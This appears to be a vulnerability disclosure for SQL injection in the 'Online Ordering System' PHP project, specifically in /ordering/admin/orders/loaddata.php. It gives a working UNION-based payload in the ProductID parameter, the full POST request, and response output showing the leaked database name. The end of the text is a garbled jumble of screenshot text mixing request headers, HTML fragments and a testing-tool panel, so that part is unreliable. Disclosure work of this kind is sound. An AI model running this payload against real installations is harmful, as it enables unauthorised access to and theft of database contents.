

Online Ordering System By janobe has SQL injection vulnerability

Author: k0xx

vendor: https://www.sourcecodester.com/php/12978/online-ordering-system-phpmysqli.html

Vulnerability file: /ordering/admin/orders/loaddata.php

Vulnerability location: /ordering/admin/orders/loaddata.php&ProductID //ProductID is Injection point

[+]Payload: ProductID=-2' union select 1,2,3,4,5,6,database(),8,9,10,11,12,13,14,15,16,17,18--+ //ProductID is Injection point

Current database name: multistoredb

```
POST /ordering/admin/orders/loaddata.php HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
```

DNT: 1 Cookie: PHPSESSID=0m2td1md252hlnr3nsbmc5ss99 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 68 ProductID=-2' union select 1,2,3,4,5,6,database(),8,9,10,11,12,13,14,15,16,17,18--+ display: table; clear: both; /ordering/admin/orders/loaddata.php HTTP/1.1Host: 192.168.1.19 </style> User-Agent: Mozilla/5.0 (Windows NT <div class="row"> 10.0; WOW64; rv:46.0) <input type="hidden"</pre> Gecko/20100101 Firefox/46.0 name="ProductID" value="6"> Accept: text/html.application/xhtml+xml.appl <div class="column-label">Product</div> ication/xml;q=0.9,*/*;q=0.8Accept-Language: <div class="column-value">: zh-CN, zh; q=0.8, en-US; q=0.5, en; q=0.3Accept-Encoding: gzip, deflate multistoredb</div> DNT: 1 <div Cookie: class="column-label">Description PHPSESSID=0m2td1md252h1nr3nsbmc5ss99 div> Connection: close <div class="column-value">: 8</div> Content-Type: application/x-www-form-urlencoded class="column-label">Category</div Content-Length: 83 ProductID=-2' union select 1,2,3,4,5,6,database(),8,9,10,11,12, class="column-value">: 17</div> 7 Tung a sparch torm 2 / t > db INT ✓ ■ OSQL BASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- O Load URL (192.168.1.19/ordering/admin/orders/loaddata.php Split URL Execute Insert string to replace Insert repla Post data ProductID=-2' union select 1,2,3,4,5,6,database(),8,9,10,11,12,13,14,15,16,17,18--+ : multistoredb **Product** Description : 8 Category : 17 **Price** : 9 Quantity **\$** Add to Cart

Product Price Quantity Subtotal Action
Total ₱ 0